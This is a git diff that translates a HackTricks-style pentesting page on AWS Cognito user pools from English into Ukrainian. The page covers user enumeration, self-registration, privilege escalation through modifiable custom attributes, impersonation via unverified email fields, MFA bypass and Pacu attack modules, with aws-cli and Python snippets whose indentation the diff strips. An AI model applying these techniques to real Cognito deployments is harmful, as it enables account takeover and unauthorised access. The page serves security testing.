> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> Можливо **налаштувати різні ролі IAM в залежності від постачальника ідентичності**, під яким користувач увійшов, або навіть просто в залежності **від користувача** (використовуючи претензії). Тому, якщо у вас є доступ до різних користувачів через одного або різних постачальників, можливо, **варто увійти та отримати доступ до ролей IAM всіх з них**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..8563d1e46 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -2,32 +2,31 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +User pool - це каталог користувачів в Amazon Cognito. За допомогою user pool ваші користувачі можуть **увійти до вашого веб- або мобільного додатку** через Amazon Cognito, **або федеративно** через **постачальника** ідентичності (IdP). Незалежно від того, чи входять ваші користувачі безпосередньо або через третю сторону, всі члени user pool мають профіль каталогу, до якого ви можете отримати доступ через SDK. -User pools provide: +User pools надають: -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- Послуги реєстрації та входу. +- Вбудований, налаштовуваний веб-інтерфейс для входу користувачів. +- Соціальний вхід через Facebook, Google, Login with Amazon, Sign in with Apple, а також через постачальників ідентичності SAML та OIDC з вашого user pool. +- Управління каталогом користувачів та профілями користувачів. +- Функції безпеки, такі як багатофакторна аутентифікація (MFA), перевірки на компрометовані облікові дані, захист від захоплення облікового запису, а також перевірка телефону та електронної пошти. +- Налаштовані робочі процеси та міграція користувачів через тригери AWS Lambda. -**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +**Код** додатків зазвичай також міститиме **ID пулу користувачів** та **ID клієнтського додатку**, (а іноді і **секрет додатку**?), які потрібні для **входу користувача** до Cognito User Pool. -### Potential attacks +### Потенційні атаки -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **Реєстрація**: За замовчуванням користувач може зареєструватися самостійно, тому він може створити обліковий запис для себе. +- **Перерахування користувачів**: Функціональність реєстрації може бути використана для знаходження імен користувачів, які вже існують. Ця інформація може бути корисною для атаки методом грубої сили. +- **Брутфорс входу**: У розділі [**Аутентифікація**](cognito-user-pools.md#authentication) ви маєте всі **методи**, які користувач має для **входу**, ви можете спробувати атакувати їх методом грубої сили, щоб **знайти дійсні облікові дані**. -### Tools for pentesting - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +### Інструменти для пентестингу +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), тепер включає модулі `cognito__enum` та `cognito__attack`, які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних налаштувань, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентичності тощо.\ +Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи небажане створення облікових записів та обліковий оракул. Перегляньте [це посилання](https://github.com/padok-team/cognito-scanner) для отримання додаткової інформації. ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): Цей скрипт дозволяє перераховувати дійсні атрибути для користувачів. ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` +## Реєстрація -## Registration - -User Pools allows by **default** to **register new users**. - +User Pools дозволяє за **замовчуванням** **реєструвати нових користувачів**. ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### Якщо будь-хто може зареєструватися -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +Ви можете знайти помилку, яка вказує на те, що вам потрібно **надати більше деталей** про користувача: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +Ви можете надати необхідні деталі у форматі JSON, наприклад: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +Ви також можете використовувати цю функціональність для **перерахунку існуючих користувачів.** Ось повідомлення про помилку, коли користувач вже існує з таким ім'ям: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> Зверніть увагу в попередній команді, як **кастомні атрибути починаються з "custom:"**.\ +> Також знайте, що при реєстрації ви **не можете створити нові кастомні атрибути для користувача**. Ви можете лише надати значення **за замовчуванням атрибутам** (навіть якщо вони не є обов'язковими) та **кастомним атрибутам, що вказані**. +Або просто, щоб перевірити, чи існує ідентифікатор клієнта. Це помилка, якщо ідентифікатор клієнта не існує: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### Якщо лише адміністратор може реєструвати користувачів -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +Ви знайдете цю помилку і не зможете зареєструвати або перерахувати користувачів: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` - ### Verifying Registration -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognito дозволяє **перевірити нового користувача, підтвердивши його електронну пошту або номер телефону**. Тому, при створенні користувача, зазвичай вам буде потрібно принаймні ім'я користувача та пароль, а також **електронна пошта та/або номер телефону**. Просто вкажіть один **який ви контролюєте**, щоб ви отримали код для **підтвердження вашого** новоствореного користувача **акаунту** ось так: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> Навіть якщо **схоже, що ви можете використовувати ту ж електронну пошту** та номер телефону, коли вам потрібно підтвердити створеного користувача, Cognito поскаржиться на використання тих самих даних і **не дозволить вам підтвердити обліковий запис**. -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### Підвищення привілеїв / Оновлення атрибутів +За замовчуванням користувач може **змінювати значення своїх атрибутів** за допомогою чогось на зразок: ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### Привілейоване підвищення через користувацькі атрибути > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> Ви можете знайти **кастомні атрибути** (такі як `isAdmin`), оскільки за замовчуванням ви можете **змінювати значення своїх власних атрибутів**, ви можете **підвищити привілеї**, змінивши значення самостійно! -#### Email/username modification privesc +#### Привілейоване підвищення через модифікацію електронної пошти/імені користувача -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +Ви можете використовувати це для **модифікації електронної пошти та номера телефону** користувача, але навіть якщо обліковий запис залишається перевіреним, ці атрибути **встановлюються в статус неперевіреного** (вам потрібно перевірити їх знову). > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> Ви **не зможете увійти за електронною поштою або номером телефону**, поки не перевірите їх, але ви зможете **увійти за іменем користувача**.\ +> Зверніть увагу, що навіть якщо електронна пошта була змінена і не перевірена, вона з'явиться в ID Token у **полі** **`email`** і поле **`email_verified`** буде **false**, але якщо додаток **не перевіряє це, ви можете видавати себе за інших користувачів**. -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> Більше того, зверніть увагу, що ви можете ввести будь-що в поле **`name`**, просто змінивши **атрибут name**. Якщо додаток **перевіряє** це поле з якоїсь причини **замість `email`** (або будь-якого іншого атрибута), ви можете **видавати себе за інших користувачів**. +У будь-якому випадку, якщо з якоїсь причини ви змінили свою електронну пошту, наприклад, на нову, до якої маєте доступ, ви можете **підтвердити електронну пошту за допомогою коду, який ви отримали на цю електронну адресу**: ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +Використовуйте **`phone_number`** замість **`email`** для зміни/перевірки **нового номера телефону**. > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> Адміністратор також може активувати опцію **входу з бажаним ім'ям користувача**. Зверніть увагу, що ви не зможете змінити це значення на **будь-яке ім'я користувача або бажане_ім'я, яке вже використовується** для видавання себе за іншого користувача. -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### Відновлення/Зміна пароля +Можливо відновити пароль, просто **знаючи ім'я користувача** (або приймаються email або телефон), і маючи доступ до нього, оскільки код буде надіслано туди: ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> Відповідь сервера завжди буде позитивною, ніби ім'я користувача існує. Ви не можете використовувати цей метод для перерахунку користувачів +З кодом ви можете змінити пароль за допомогою: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +Щоб змінити пароль, вам потрібно **знати попередній пароль**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` +## Аутентифікація -## Authentication +User pool підтримує **різні способи аутентифікації**. Якщо у вас є **ім'я користувача та пароль**, також підтримуються **різні методи** для входу.\ +Більше того, коли користувач аутентифікований у Pool, **надаються 3 типи токенів**: **ID токен**, **Access токен** та **Refresh токен**. -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. - -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**ID токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Він містить заяви про **особу аутентифікованого користувача**, такі як `name`, `email` та `phone_number`. ID токен також може бути використаний для **аутентифікації користувачів на ваших ресурсних серверах або серверних додатках**. Ви повинні **перевірити** **підпис** ID токена, перш ніж довіряти будь-яким заявам всередині ID токена, якщо ви використовуєте його в зовнішніх додатках. +- ID токен - це токен, який **містить значення атрибутів користувача**, навіть кастомних. +- [**Access токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Він містить заяви про аутентифікованого користувача, список **груп користувача та список обсягів**. Мета access токена - **авторизувати API операції** в контексті користувача в user pool. Наприклад, ви можете використовувати access токен, щоб **надати вашому користувачу доступ** до додавання, зміни або видалення атрибутів користувача. +- [**Refresh токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): З refresh токенами ви можете **отримувати нові ID токени та Access токени** для користувача, поки **refresh токен недійсний**. За **замовчуванням** refresh токен **закінчує термін дії через 30 днів** після того, як ваш користувач увійшов у ваш user pool. Коли ви створюєте додаток для вашого user pool, ви можете встановити термін дії refresh токена додатка на **будь-яке значення від 60 хвилин до 10 років**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +Це потік аутентифікації на стороні сервера: -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- Додаток на стороні сервера викликає **`AdminInitiateAuth` API операцію** (замість `InitiateAuth`). Ця операція вимагає AWS облікові дані з дозволами, які включають **`cognito-idp:AdminInitiateAuth`** та **`cognito-idp:AdminRespondToAuthChallenge`**. Операція повертає необхідні параметри аутентифікації. +- Після того, як додаток на стороні сервера отримав **параметри аутентифікації**, він викликає **`AdminRespondToAuthChallenge` API операцію**. API операція `AdminRespondToAuthChallenge` успішно виконується лише тоді, коли ви надаєте AWS облікові дані. -This **method is NOT enabled** by default. +Цей **метод НЕ активований** за замовчуванням. -To **login** you **need** to know: +Щоб **увійти**, вам **потрібно** знати: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- id user pool +- id клієнта +- ім'я користувача +- пароль +- секрет клієнта (тільки якщо додаток налаштовано на використання секрету) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> Щоб **мати можливість увійти за цим методом**, цей додаток повинен дозволяти вхід з `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Більше того, для виконання цієї дії вам потрібні облікові дані з дозволами **`cognito-idp:AdminInitiateAuth`** та **`cognito-idp:AdminRespondToAuthChallenge`**. ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +Код для входу ```python import boto3 import botocore @@ -249,61 +216,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +Цей метод є ще одним простим і **традиційним методом аутентифікації користувача та пароля**. Рекомендується **мігрувати традиційний** метод аутентифікації **до Cognito** і **рекомендується** потім **відключити** його та **використовувати** метод **ALLOW_USER_SRP_AUTH** замість цього (оскільки він ніколи не надсилає пароль через мережу).\ +Цей **метод НЕ активовано** за замовчуванням. -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +Основна **різниця** з **попереднім методом аутентифікації** в коді полягає в тому, що вам **не потрібно знати ID пулу користувачів** і що вам **не потрібні додаткові дозволи** в Cognito User Pool. -To **login** you **need** to know: +Щоб **увійти**, вам **потрібно** знати: - client id - username - password -- client secret (only if the app is configured to use a secret) +- client secret (тільки якщо додаток налаштовано на використання секрету) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> Щоб **мати можливість увійти за допомогою цього методу**, цей додаток повинен дозволяти вхід з ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
-Python code to Login - +Python код для входу ```python import boto3 import botocore @@ -321,48 +284,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +Цей сценарій подібний до попереднього, але **замість того, щоб надсилати пароль** через мережу для входу, **виконується аутентифікація з викликом** (тобто жоден пароль не передається, навіть зашифрований через мережу).\ +Цей **метод увімкнено** за замовчуванням. -To **login** you **need** to know: +Щоб **увійти**, вам **потрібно** знати: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- ідентифікатор пулу користувачів +- ідентифікатор клієнта +- ім'я користувача +- пароль +- секрет клієнта (тільки якщо додаток налаштовано на використання секрету)
Code to login - ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +Цей **метод завжди буде дійсним** (його не можна вимкнути), але вам потрібен дійсний токен оновлення. ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +Код для оновлення ```python import boto3 import botocore @@ -414,83 +371,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +У цьому випадку **автентифікація** буде виконуватися через **виконання функції lambda**. -## Extra Security +## Додаткова безпека -### Advanced Security +### Розширена безпека -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +За замовчуванням вона вимкнена, але якщо її увімкнути, Cognito може бути в змозі **виявити захоплення облікових записів**. Щоб зменшити ймовірність, ви повинні увійти з **мережі в межах одного міста, використовуючи той самий агент користувача** (і IP, якщо це можливо)**.** -### **MFA Remember device** +### **MFA Запам'ятати пристрій** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +Якщо користувач входить з того ж пристрою, MFA може бути обійдено, тому спробуйте увійти з того ж браузера з тими ж метаданими (IP?), щоб спробувати обійти захист MFA. -## User Pool Groups IAM Roles +## Групи User Pool IAM ролей -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +Можна додавати **користувачів до груп User Pool**, які пов'язані з однією **IAM роллю**.\ +Більше того, **користувачі** можуть бути призначені **більше ніж до 1 групи з різними IAM ролями**. -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool). +Зверніть увагу, що навіть якщо група знаходиться всередині групи з прикріпленою IAM роллю, для того щоб мати доступ до IAM облікових даних цієї групи, потрібно, щоб **User Pool був довірений Identity Pool** (і знати деталі цього Identity Pool). -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +Ще одна вимога для отримання **IAM ролі, вказаної в IdToken**, коли користувач автентифікований у User Pool (`aws cognito-idp initiate-auth...`), полягає в тому, що **постачальник автентифікації Identity Provider** повинен вказати, що **роль повинна бути вибрана з токена.**
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +**Ролі**, до яких має доступ користувач, знаходяться **всередині `IdToken`**, і користувач може **вибрати, для якої ролі він хотів би отримати облікові дані** за допомогою **`--custom-role-arn`** з `aws cognito-identity get-credentials-for-identity`.\ +Однак, якщо **опція за замовчуванням** є тією, що **сконфігурована** (`використовувати роль за замовчуванням`), і ви намагаєтеся отримати доступ до ролі з IdToken, ви отримаєте **помилку** (ось чому потрібна попередня конфігурація): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> Зверніть увагу, що роль, призначена для **Групи користувачів** повинна бути **доступною для Постачальника ідентичності**, який **довіряє Групі користувачів** (оскільки **облікові дані сесії IAM ролі будуть отримані з неї**). ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..901f45ffa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ 